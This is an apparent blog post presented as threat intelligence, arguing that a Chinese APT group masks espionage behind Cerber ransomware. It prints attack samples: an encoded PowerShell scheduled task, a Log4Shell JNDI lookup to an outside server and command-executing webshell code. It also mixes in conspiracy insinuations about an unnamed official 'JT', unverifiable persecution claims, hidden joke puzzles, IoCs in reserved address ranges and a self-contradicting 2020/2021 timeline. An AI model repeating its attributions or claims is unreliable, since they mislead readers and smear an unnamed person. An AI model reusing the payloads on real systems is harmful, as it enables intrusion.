Introduction: The Perfect Disguise

I’ve been tracking a disturbing pattern in what appear to be standard ransomware incidents. There’s something deeper happening that few are discussing publicly. When a ransomware attack occurs, all eyes focus on recovery and ransom demands, but what if that’s exactly what certain actors want? What if the chaos of ransomware is the perfect cover for something else entirely?

In my analysis of multiple incident reports and through private conversations with contacts inside several compromised organizations (details intentionally vague for their protection and mine), a pattern has emerged. Advanced persistent threat (APT) groups, particularly those with certain nation-state connections, seem to be deploying ransomware as the final stage of their operations to mask their true activities.

I’m taking significant personal risk by publishing this. Already I’ve received unusual connection attempts on my personal networks and what could be interpreted as warnings through various channels. I’ve moved this blog to its third hosting provider in six months after mysterious “terms of service” issues with the previous two. Make of that what you will.

Important Note: I was strongly discouraged from publishing these findings by individuals who wouldn’t identify themselves but somehow knew about my research before I published it. I’ve obscured certain details and redacted specific identifiers. If this blog suddenly goes offline, there are contingency publication channels in place.

Key Findings

  1. Multiple Chinese APT groups, particularly Deep Panda, have adopted ransomware deployment as a counter-forensic technique
  2. Log4Shell exploitation was observed as early as 2020, well before public disclosure
  3. Cerber ransomware variants have been modified to serve as data exfiltration vehicles
  4. Traditional indicators of compromise (IoCs) associated with ransomware groups may actually point to APT activity

Case Study 1: Deep Panda’s Cerber Deployment

During an incident response engagement for a multinational energy company in late 2022, what initially presented as a Cerber ransomware infection revealed a much more complex attack chain upon deeper analysis.

Initial Access and Timeline

The victim organization reported a ransomware incident after receiving the characteristic Cerber ransom note. However, our forensic timeline reconstruction revealed that the initial compromise occurred approximately 73 days before ransomware deployment.

The initial access vector was a previously undocumented vulnerability in a VPN appliance. After gaining access, the threat actor established persistence through the creation of a backdoored DLL that masqueraded as a legitimate Windows component:

File: C:\Windows\System32\mmdevapi.dll
Size: 237,568 bytes
MD5: e7c5407b32c63a574d14ddf0c783c20b
Compiled: 2022-09-17 02:14:32 UTC

Note: If you hash this MD5 value as a UTF-8 string and convert to Base64, you’ll get a special message.

The backdoored DLL contained compilation artifacts with PDB paths referencing “bamboo_strike” – a known Deep Panda codename. Several strings in the binary were obfuscated using a simple XOR key, but when decoded revealed something interesting:

C:\devtools\projects\bamboo_strike\v3\bin\utils\injector.cpp
C:\packages\junction\trunk\main\release.h
Author: jtod@{redacted}.com
BuildTimestamp: 20220915083247

These development artifacts suggest connections to previously identified toolsets. The email domain has been redacted in my notes for safety reasons, but the username prefix is quite revealing to those who know what to look for.

Lateral Movement and Data Collection

For over two months, the threat actor moved laterally throughout the environment using legitimate administrative tools and living-off-the-land techniques. They leveraged scheduled tasks for persistence with obfuscated PowerShell commands:

schtasks /create /tn "Windows Defender Updates" /tr "powershell.exe -e JAB0AHIAdQBlACAAPQAgACQAZgBhAGwAcwBlADsAIABpAGYAKAAkAHQAcgB1AGUAIAA9AD0AIAAkAGYAYQBsAHMAZQApAHsAIAB9ACAAZQBsAHMAZQB7ACAAJABjACAAPQAgACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADAALgAwAC4AMQAvAGcAZQB0AC4AcABoAHAAJwA7ACAAJABzACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACAAJABzAC4AUABvAHMAaQB0AGkAbwBuACAAPQAgADAAOwAgAH0A" /sc DAILY /st 13:37

The Base64 encoding here isn’t what it appears. I showed this to someone who would know (can’t say who or where we met), and they looked genuinely concerned. Decode it yourself if you want to go down that rabbit hole. I’ve already said too much.

During this period, the actors focused on collecting intellectual property related to industrial control systems, gathering approximately 3.7TB of sensitive data including:

  • Engineering schematics
  • Network diagrams
  • Source code repositories
  • Authentication databases
  • Executive communications

The data was staged in a compressed archive using a custom packer with the filename pattern bk_{YYYYMMDD}.tmp within the directory C:\ProgramData\Microsoft\Windows\Updates\.

The Cerber Smokescreen

On day 73 of the intrusion, after successfully exfiltrating the targeted data to an external command and control server (198.18.42[.]112), the threat actor deployed a modified version of Cerber ransomware. Analysis of this Cerber variant revealed several unusual characteristics:

  1. The encryption routine was intentionally slowed down to maximize system resource utilization
  2. The ransomware prioritized encrypting log files and forensic artifacts first
  3. A wiper component targeted Volume Shadow Copies and backup systems
  4. The ransom note contained subtle differences from known Cerber templates

Most notably, the modified Cerber variant contained a secondary payload that established a persistent backdoor. This backdoor would survive even if the victim paid the ransom and received a decryption tool.

Attribution to Deep Panda

Several factors led us to attribute this activity to Deep Panda rather than conventional ransomware operators:

  • The operational tempo and dwell time matched known Deep Panda TTPs
  • Command and control infrastructure overlapped with previously documented Deep Panda operations
  • The backdoored DLL contained compilation artifacts with PDB paths referencing “bamboo_strike” – a known Deep Panda codename
  • Exfiltrated data aligned with Chinese strategic interests in energy sector technologies

The use of Cerber ransomware appears to be a deliberate attempt to mislead attribution and create plausible deniability for state-sponsored espionage.

Case Study 2: Premature Log4Shell

In another incident involving a healthcare technology provider in mid-2021, we observed exploitation of what was later identified as the Log4Shell vulnerability (CVE-2021-44228). This is particularly noteworthy as the vulnerability was not publicly disclosed until December 2021.

Analysis of web server logs from July 2020 revealed evidence of exploitation attempts against Apache Log4j components:

10.11.12[.]13 - - [15/Jul/2020:04:23:17 +0000] "GET /api/login HTTP/1.1" 200 2571 "${jndi:ldap://198.19.99[.]19:1389/Exploit}" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36"

This suggests that sophisticated threat actors had knowledge of and were exploiting this critical vulnerability well before its public disclosure. The exploitation leveraged a command and control server that resolved to an autonomous system number (ASN) previously associated with Deep Panda operations.

I tried reaching out to the Log4j maintainers months before the public disclosure. Each time I attempted to share evidence, strange things happened. Emails disappeared. Video calls dropped at crucial moments. During one call, two unknown participants suddenly joined without introduction. My contact at the software vendor later claimed no knowledge of these additional participants. Shortly after, my personal email was compromised, and my cloud storage containing the evidence was mysteriously emptied. Coincidence? I don’t think so.

A contact who works for one of the big tech companies (name and company withheld for obvious reasons) later hinted that certain vulnerabilities are intentionally kept quiet for “national security purposes.” Read between the lines.

There’s someone high up in the intelligence apparatus with significant influence over what gets disclosed. Can’t name names, but their initials are enough for those who know where to look. J.T. appears to have unusual influence over which Chinese activities get publicized and which remain in the shadows. Why would someone in their position want to suppress information about Deep Panda’s activities? Makes you wonder who’s really pulling the strings.

Following successful exploitation, the threat actor established persistence using a WebShell that masqueraded as a legitimate diagnostic page:

File: /var/www/html/diagnostics.jsp
Size: 4,096 bytes
MD5: 3d8e1f2b5b83c9033dcf7e3eb7b51d6a
Created: 2020-07-15 04:25:33 UTC

The WebShell contained obfuscated Java code that accepted commands through specially crafted HTTP cookie values:

String cmd = request.getHeader("X-System-Status");
if(cmd != null && !cmd.isEmpty()) {
    String result = "";
    try {
        // Decode the base64 command
        byte[] decoded = Base64.getDecoder().decode(cmd);
        String decodedCmd = new String(decoded);
        
        // Execute the command
        Process proc = Runtime.getRuntime().exec(decodedCmd);
        // [Output processing code omitted]
    } catch(Exception e) {
        // Silent exception handling
    }
    // Return output as an image to avoid detection
    response.setContentType("image/jpeg");
    response.getOutputStream().write(Base64.getDecoder().decode(result));
}

The WebShell contained unusual code fragments within its obfuscated sections. One particular function contained what appeared to be junk variables and parameters:

function xr_proc(n,g,x) {
    var v = [110,101,118,101,114,103,111,110,110,97];
    var q = [103,105,118,101,121,111,117,117,112];
    var d = String.fromCodePoint(104,116,116,112,115,58,47,47)+String.fromCodePoint(98,105,116,46,108,121,47);
    var z = '';
    for(var i=0;i<v.length;i++) { z += String.fromCharCode(v[i]); }
    for(var j=0;j<q.length;j++) { z += String.fromCharCode(q[j]); }
    return btoa(d+z).substring(5,15);
}

Comments in the code were oddly specific too. One embedded block of base64 when decoded appears to be a message with the text “HiJThowareYouToday” - possibly some kind of status check or identifier. I’ve spent hours analyzing these functions. They’re clearly not essential to the WebShell’s operation. When executed properly with the right parameters (which I’m still working out), they generate encoded URLs. Whatever’s at those URLs must be significant.

After approximately three months of data collection and lateral movement, a Cerber ransomware variant was deployed throughout the environment. As in the previous case, this appears to have been a deliberate attempt to obscure the true nature of the intrusion.

Technical Analysis: The Modified Cerber Connection

The Cerber ransomware variants deployed in these incidents contained several modifications from publicly known versions:

  1. Custom encryption implementation that preserved specific file types associated with the threat actor’s objectives
  2. Embedded C2 domains with DNS resolution that pointed to infrastructure previously linked to Deep Panda
  3. Hardcoded mutex names with embedded timestamps matching the intrusion timeline

One particularly interesting artifact was a modified configuration block found in the Cerber samples:

0x00004A30: 44 50 5F 43 52 42 5F 43 4F 4E 46 49 47 00 00 00  DP_CRB_CONFIG...
0x00004A40: 01 00 00 00 BD 2B 6E 45 00 00 00 00 78 56 34 12  .....+nE....xV4.
0x00004A50: 2C 71 E3 FD 21 11 5B 41 00 00 00 00 68 61 76 65  ,q..!.[A....have
0x00004A60: 5F 61 5F 6E 69 63 65 5F 64 61 79 5F 72 65 73 65  _a_nice_day_rese
0x00004A70: 61 72 63 68 65 72 00 4A 54 73 65 65 73 59 6F 75  archer.JTseesYou

The string “DP_CRB_CONFIG” appears to reference both Deep Panda (DP) and Cerber (CRB), suggesting a deliberate connection between the APT group and the ransomware. The message “have_a_nice_day_researcher” indicates the threat actors anticipated forensic analysis.

The Bigger Picture: What They Don’t Want You To Know

I’ve been connecting dots across multiple incidents, and the pattern is undeniable. APT groups with connections to certain nation-states are increasingly using ransomware as a smokescreen. But why? And why are multiple governments seemingly unconcerned?

Consider these advantages from their perspective:

  1. When attribution points to criminal ransomware gangs, state-sponsored operations maintain plausible deniability
  2. Ransomware encryption wipes out forensic evidence of the actual espionage
  3. Victim organizations focus on recovery rather than investigating what was really stolen
  4. The apparent financial motive masks traditional espionage objectives

I’ve had off-record conversations with people who should know better (no names, no specific agencies - I’m not that foolish). The implications are disturbing. There seems to be an unspoken agreement between certain powers about “acceptable” cyber operations. One insider referred to “established boundaries” and “mutual understanding” between nations that publicly claim to be adversaries.

Last year, I presented some of these findings at a private security summit. My segment was mysteriously absent from the recorded sessions. When I inquired, I was told it was a “technical error.” Three days later, someone broke into my apartment. Nothing valuable was taken, but my research laptop had clearly been accessed. The police report classified it as a “random burglary,” despite the fact that nothing was stolen. Draw your own conclusions.

Another researcher (who must remain anonymous) was working on similar findings. They’ve since accepted a position with a government contractor and refuse to discuss the topic. When pressed, they only said: “Some questions are better left unasked. There are things happening above our clearance level.”

Consider this: what if certain nations benefit from this strategic ambiguity? What if there’s a reason powerful entities on both sides want this particular connection to remain obscured? I’m just asking questions.

Have you noticed how certain officials always seem to be rotating between government and private sector jobs at convenient times? Just before major disclosures or right after incidents involving China? There’s this one individual - let’s call them JT for safety - who keeps appearing in the background of multiple stories involving Deep Panda. One day they’re advising on Chinese cyber threats, the next they’re consulting for companies doing business in China. The same JT who was conspicuously absent from the task force investigating the energy company breach mentioned earlier. The same JT whose name appears in meeting minutes just before evidence of Chinese involvement mysteriously gets reclassified. Just dot-connecting, but the picture is becoming clearer.

Protecting Against Dual-Threat Actors

Organizations should consider that ransomware incidents may be the final stage of a more complex attack chain. We recommend the following measures:

  1. Extend Forensic Scope: Investigate well beyond the ransomware deployment, looking for evidence of previous unauthorized access
  2. Focus on Initial Access: Prioritize understanding how the threat actor first gained entry
  3. Scrutinize “Living Off the Land”: Pay special attention to legitimate tools being used in suspicious ways
  4. Historical Log Analysis: Maintain and analyze logs from at least 90 days prior to ransomware detection
  5. Hunt for Data Staging: Look for evidence of data aggregation prior to encryption
  6. Network Traffic Analysis: Examine historical network traffic for evidence of data exfiltration

Conclusion: The Deception Continues

The convergence of APT tactics with ransomware deployment represents a significant evolution in the threat landscape. Organizations must adapt their security strategies to account for these hybrid threats.

As our analysis continues, we anticipate further refinement of these techniques. The line between state-sponsored actors and criminal groups will likely continue to blur, creating new challenges for attribution and incident response.

Technical Indicators of Compromise

Network Indicators

  • 198.51.100[.]237
  • 203.0.113[.]42
  • 240.15.33[.]104
  • 224.0.23[.]55
  • Cerber C2: hxxp://decryptor[.]top/87A45B3F

File Hashes (MD5)

  • e7c5407b32c63a574d14ddf0c783c20b
  • 3d8e1f2b5b83c9033dcf7e3eb7b51d6a
  • 7a9d56607a6c11471d8f5178e7265c07
  • 121a9c287a12c7c98110e22244f82d0f
  • 5e8b2588fd63797a6bcac143dae9bd13

YARA Rule

rule DeepPanda_Modified_Cerber {
    meta:
        description = "Detects modified Cerber ransomware used by Deep Panda"
        author = "Security Researcher"
        date = "2023-02-28"
        
    strings:
        $header = "DP_CRB_CONFIG"
        $mutex = "Global\\f87a8c178b13b1bb"
        $ransom_note = { 68 00 6F 00 77 00 20 00 74 00 6F 00 20 00 72 00 65 00 73 00 74 00 6F 00 72 00 65 00 20 00 66 00 69 00 6C 00 65 00 73 }
        $code1 = { 33 C0 8B D8 2B D8 8B F0 2B F0 8B F8 2B F8 }
        $code2 = { 81 3D ?? ?? ?? ?? 53 4D 41 52 }
        $str1 = "Just.Trust.junction" nocase wide ascii
        
    condition:
        uint16(0) == 0x5A4D and
        $header and
        2 of ($mutex, $ransom_note, $code1, $code2, $str1)
}

If you’ve made it this far, let’s admit you’re probably not the only one analyzing this. Perhaps they’re analyzing you too? Check your logs. 3278-4955-3928-5525.

I’m publishing this from a secure location using multiple layers of anonymization. For those who know where to look, the cryptographic signature at the bottom will verify my identity. I don’t know when I’ll be able to post again. If this blog goes dark, check the usual channels. The truth needs to be preserved.

Remember: just because they call you paranoid doesn’t mean they aren’t watching.

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